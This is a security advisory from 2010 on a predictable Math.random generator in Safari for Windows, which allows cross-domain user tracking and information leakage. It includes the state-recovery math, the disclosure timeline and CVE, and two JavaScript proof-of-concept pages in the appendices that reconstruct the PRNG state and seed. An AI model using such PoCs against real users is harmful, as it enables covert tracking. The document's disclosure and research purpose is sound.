Cross-domain information leakage and Temporary user tracking attacks in Apple Safari 4.02-4.0.5 and Apple Safari 5.0-5.0.2 (Windows)

Amit Klein

Research conducted May-June 2010

Public release: November 18th, 2010

Abstract

Changes introduced by Apple/WebKit to the WebKit rendering engine make it possible to obtain some cross domain information (Math.random consumption, state) across domains. In Safari 5.0, the situation considerably deteriorated such that it's possible to temporarily track users and accurately predict (and partially influence) values of Math.random across domains.

Table of Contents

1. Quick introduction

The attack described here is related to the author's previous work ([1]), and is familiar to Apple (see the entry CVE-2009-1696 in [2]). At that time, the Math.random implementation of WebKit/Safari for Windows was not vulnerable (the attack for the Math.random of WebKit/Safari was applicable only to Mac OS/X). Unfortunately, since then the implementation was changed in a way that makes Math.random vulnerable. The attack exploits a vulnerability wherein the Math.random PRNG values/states are predictable across domain boundaries. For more details on how this is exploitable, please refer to the PDF link above.

2. The WebKit/Safari code evolution

Safari's Javascript implementation is based on WebKit. In general, Safari versions are snapshots of WebKit at some point in time. The implementation of Math.random() in WebKit (Windows) has three variants, due to two significant revisions applied to this code, revision 40968 and later revision 50789.

1.1 Prior to the revisions (Safari 4.0.0 for Windows)

Prior to the above mentioned revisions, the code was not vulnerable – the PRNG was based on the secure Windows rand_s() function. This applies to the following Safari tags:

- Tags prior to (6)530
- (6)530: (6)530 and (6)530.0.1

Safari 4.0.0 for Windows is based on 528.16

1.2 Revision 40968 (Safari 4.0.2-4.0.5 for Windows)

Revision 40968 ([3]) completely changed the PRNG implementation – into one based on the (MSVC) CRT PRNG. This revision affected the following Safari tags:

- (6)530: (6)530.1 and above
- (6)531: all
- 532: 532.0 – 532.4

Safari 4.0.2 for Windows is based on 530.19.x

Safari 4.0.4 for Windows is based on 531.21.x

Safari 4.0.5 for Windows is based on 531.22.7

1.3 Revision 50789 (Safari 5.0-5.0.2 for Windows)

Revision 50789 ([4]) completely changed the PRNG again – this time, basing it on GameRand. This revision affected the following Safari tags:

532 - 532.5 and above

533 - all

Safari 5.0 is based on 533.16.

Safari 5.0.1 is based on 533.17.

Safari 5.0.2 is based on 533.18.

3. Safari 4.0.2 - 4.0.5 for Windows (Revision 40968) issues

Revision 40968 implements Math.random() using two calls to the (MSVC) CRT rand() function, and combining the two 15 bit quantities into a single Javascript double by concatenating the two quantities to yield a single 30 bit value, and dividing this value by 2^{30}. This is identical to the way Google Chrome (for Windows) generated its own Math.random() values (until mid 2009). Apparently the WebKit/Safari developers were aware of the inherent weakness of the PRNG, as they named the object "weakRandomNumber". Presumably though, they intended to overcome this by frequent reseeding.

The CRT PRNG is reseeded (using rand_s) inside the MathObject constructor. Empirically, this is done each time a window/tab/frame navigation occurs, also including window pop-ups from Javascript (but not including object retrieval and XHR).

So Safari (Windows) implementation relies on a global state (the CRT PRNG) which is frequently reseeded.

In previous work ([1]), it was shown that the algorithm used by WebKit/Safari (actually, Google Chrome's Math.random() algorithm at that time) is predictable.

Some obvious results are, therefore:

- When two pages (even from different domains) are rendered by Safari (Windows), in different frames, tabs and even windows, they share the same PRNG state, and can thus predict each other's sequence, as long as no navigation/refresh/popup occurs anywhere within Safari.
- User tracking is thus possible to a limited degree if two pages on two different domains detect that the same PRNG state is used.
- Information leakage such as PRNG state, number of PRNG invocations and number of navigated pages is available (the latter can be detected due to the reseeding, so each time the actual PRNG result falls out of the expected sequence it indicates a reseeding which is due to a new navigation).

Appendix A contains a Javascript-based PoC showing the ability to reconstruct the internal PRNG state and count re-seeding events and PRNG invocations (tested with Safari 4.0.5 on Windows 7 Professional 32bit).

Additionally, it should be noted that since the MSVC CRT PRNG has a 31-bit internal state, the overall entropy of the sequences it produce is no more than 31 bits.

4. Safari 5.0 – 5.0.2 for Windows (Revision 50789) issues

The GameRand PRNG state can be easily reconstructed by sampling two consecutive values. Apparently this is understood by the WebKit/Safari developers, since they named the PRNG object "weakRandom".

At any rate, given two consecutive values of GameRand, the internal state can be reconstructed as following:

Let

R_1 be a first random number drawn by Math.random(),

R_2 be a second random number drawn by Math.random(),

Let $S=(H,L)$ be the state of the PRNG right after R_1 was drawn, where H and L are each 32 bit quantities. Thus:

$$H=2^{32}\cdot R_1$$

It remains to find L in order to fully reconstruct S.

The state when R_2 is drawn is $((H>>16)|(H<<16)+L,\ldots)$. Thus:

$$2^{32}\cdot R_2=((H>>16)|(H<<16))+L \quad \text{(all calculations modulo } 2^{32})$$

Regrouping:

$$L=2^{32}\cdot R_2-(((2^{32}\cdot R_1)>>16)|((2^{32}\cdot R_1)<<16)) \quad \text{(modulo } 2^{32})$$

Once it is reconstructed, the internal state can be rolled back until the XOR of its two 32 bit halves is 0x49616E42, at which point the high half contains the seed, which is the time (in seconds, since 01/01/1970) of seeding. As a by-product, the PRNG mileage (since seeding) is also obtained.

It seems (empirically) that there is a single PRNG state shared among all windows, tabs, documents, and frames, and it is seeded when the browser renders a page for the first time. Thus, Safari 5.0 considerably worsens the situation, and reverts it to more or less where the Mac OS/X flavor of Safari was before 2009. Namely, all the attacks described in the original manuscript of 2009 are relevant, including:

- User tracking across domains (via browser seeding time)
- Information leakage – browser seeding time, Math.random() mileage
- Application state tracking across domains (via counting Math.random() invocations)
- Cross domain partial setting of Math.random()
- Cross domain Math.random() predictability

A proof-of-concept attack script (pure HTML+Javascript) is provided in Appendix B, demonstrating the ability to track users across domains (via the shared seed) and information leakage (PRNG mileage and seeding time). This was tested with Safari 5.0 and Safari 5.0.1 on Windows 7.

5. Other issues

In both PRNG implementations (revision 40968 and revision 50789), the random bits don't span all 53 bit mantissa. Revision 40968 only randomizes the high 30 bits, and revision 50789 only randomizes the high 32 bits.

6. Vendor/product status

Apple and WebKit.org were notified July 8th, 2010.

Apple tracks this issue as "Follow-Up: 112593742".

Apple/WebKit obtained the following CVE for this issue: CVE-2010-3804.

Apple released a fix for Safari (Safari 5.0.3) on November 18th, 2010, details at http://support.apple.com/kb/HT1222.

WebKit.org tracks this issue as Bug 41868 ([5]).

WebKit.org introduced a fix to the problem in revision 65947 ([6]), which is incorporated in tag Safari-534.6.

References

[1] "Temporary user tracking in major browsers *and* Cross-domain information leakage and attacks", Amit Klein (Trusteer), June 2009

http://www.trusteer.com/sites/default/files/Temporary_User_Tracking_in_Major_Browsers.pdf

[2] "About the security content of Safari 4.0" (Apple website)

http://support.apple.com/kb/HT3613

[3] "Math.random is really slow on windows", February 13th, 2009,

http://trac.webkit.org/changeset/40968

[4] "Faster Math.random, based on GameRand", October 11th, 2009

http://trac.webkit.org/changeset/50789

[5] "Bug 41868 - [JSC] Math.random is predictable which may lead to cross-domain information leakage and temporary user tracking attacks" https://bugs.webkit.org/show_bug.cgi?id=41868

[6] "Changeset 65947", August 24th, 2010

http://trac.webkit.org/changeset/65947

Appendix A – PoC code for Safari 4.0.2-4.0.5 (revision 40968)

This self-contained HTML page has Javascript code that reconstructs the MSVCRT PRNG internal state. It follows its values and detect when it is reseeded. It also provides a "marker" for the state (indicating when the same PRNG instance is used in different windows/documents/tabs/frames) which is the next state whose last 10 bits are all zeros. Additionally it predicts the next 2 Math.random() values.

The implementation is not too optimized. An obvious optimization would be to use techniques such as http://www.securityfocus.com/archive/1/459283.

```
<html>
<body>
<script>
document.write("Browser: "+navigator.userAgent);
</script>
<br>
<br>
<script>
interval=200;
iid=null;
function setint()
{
	interval=document.getElementById('x').value;
	clearInterval(iid);
	iid=setInterval("recalc()",interval);
	return;
}
</script>
<form>
Polling interval:<br>
Use low values (e.g. 200) for PRNG state mark demo and reseed counting<br>
Use high values (e.g. 5000) for PRNG prediction demo<br>
<input type="text" id="x" value="200"><br>
<input type="button" value="Change" onClick="setint();">
</form>
Total MSVCRT PRNG invocations (since this page load):
<div id="total"></div><br>
```

```
MSVCRT PRNG invocations since last reseed:
<div id="current"></div><br>
MSVCRT PRNG reseed count (since this page load):
<div id="reseed"></div><br>
MSVCRT PRNG state mark:
<div id="mark"></div><br>
Current Math.random():
<div id="math_random"></div><br>
Calculated next Math.random() values:
<div id="next"></div><br>
<script>
var total_counter=0;
var current_counter=0;
var reseed_counter=0;
var state=0;
var mark=0;

function adv(x)
{
      return (214013*x+2531011) & 0x7FFFFFFF;
}

function update_counters(reseed)
{
      document.getElementById("total").innerText=total_counter;
      document.getElementById("current").innerText=current_counter;
      document.getElementById("reseed").innerText=reseed_counter;
      document.getElementById("mark").innerText=mark;
      m=Math.random();
      state=adv(state);
      state2=adv(state);
      state2=adv(state2);
      document.getElementById("math_random").innerText=m;
      document.getElementById("next").innerText=

      ((((adv(state2)>>16)&0x7FFF)<<15)|((state2>>16)&0x7FFF))/(1<<30
);
      state2=adv(state2);
      state2=adv(state2);
```

```
	document.getElementById("next").innerText+=" "+
	((((adv(state2)>>16)&0x7FFF)<<15)|((state2>>16)&0x7FFF))/(1<<30
);

}

function find_mark(st)
{
	for (;;)
	{
		if ((st & 0x3FF)==0)
		{
			return st>>10;
		}
		st=adv(st);
	}
}

function recalc()
{
	var rr=new Array();
	rr[0]=Math.random()*Math.pow(2,30);

	// Try to resync with the PRNG.
	// Allow up to 1000 iterations from previous sync
	for (k=0;k<1000;k++)
	{
		state=adv(state);
		if ((((state>>16)&0x7FFF)==(rr[0]&0x7FFF)) &&
		    (((adv(state)>>16)&0x7FFF)==(rr[0]>>15)))
		{
		  state=adv(state);
		  total_counter+=k;
		  current_counter+=k;
		  mark=find_mark(state);
		  update_counters(false);
		  return;
		}
```

```
	}

	rr[1]=Math.random()*Math.pow(2,30);

	var r=new Array();
	for (i=0;i<2;i++)
	{
		r.push(rr[i] & 0x7FFF);
		r.push(rr[i]>>15);
	}

	for (v=0;v<(1<<16);v++)
	{
		state=(r[0]<<16)|v;
		for (j=1;j<4;j++)
		{
			state=adv(state);
			if (((state>>16)&0x7FFF)!=r[j])
			{
				break;
			}
		}
		if (j==4)
		{
			reseed_counter++;
			current_counter=0;
			mark=find_mark(state);
			update_counters(true);
			return;
		}
	}
}
recalc();
setint();
</script>
</body>
</html>
```

Appendix B – PoC code for Safari 5.0 – 5.0.2 (revision 50789)

This self-contained HTML page has Javascript code that reconstructs the Math.random internal state. It then rolls it back to find the seed. The amount of roll back iterations determines the PRNG mileage.

```
<html>
<body>
<script>
document.write("userAgent: "+navigator.userAgent);
</script>
<br>
<br>
<div id="foo"></div>
<form>
<input type="button"
      value="Calculate Safari 5.0 (Windows) PRNG seed and mileage"
      onClick="calc_seed()">
</form>
<script>
function calc_seed()
{
      r1=Math.random()*Math.pow(2,32);
      r2=Math.random()*Math.pow(2,32);

      H=r1;
      L=(r2-(((H & 0xFFFF0000)>>>16) | ((H & 0x0000FFFF)<<16)))
            & 0xFFFFFFFF;

      // 10000 is just an arbitrary limit to make sure the
      // algorithm doesn't run into an endless loop on
      // non-vulnerable browsers
      for (k=0;k<10000;k++)
      {
            L=(L-H) & 0xFFFFFFFF;
            H=(H-L) & 0xFFFFFFFF;
```

```
            H=((H & 0xFFFF0000)>>>16) | ((H & 0x0000FFFF)<<16);
            if ((H^L)==0x49616E42)
            {
                  document.getElementById("foo").innerText=
                        "PRNG Seed: "+H+" "+
                        "(First page rendered: "+
                              (new Date(H*1000)).toString()+")\n"+
                        "PRNG mileage: "+k;
                  return;
            }
      }
      document.getElementById("foo").innerText=
            "Could not find seed\n"+
            "Are you sure it's Safari 5.0 for Windows?";
      return;
}
</script>
</body>
</html>
```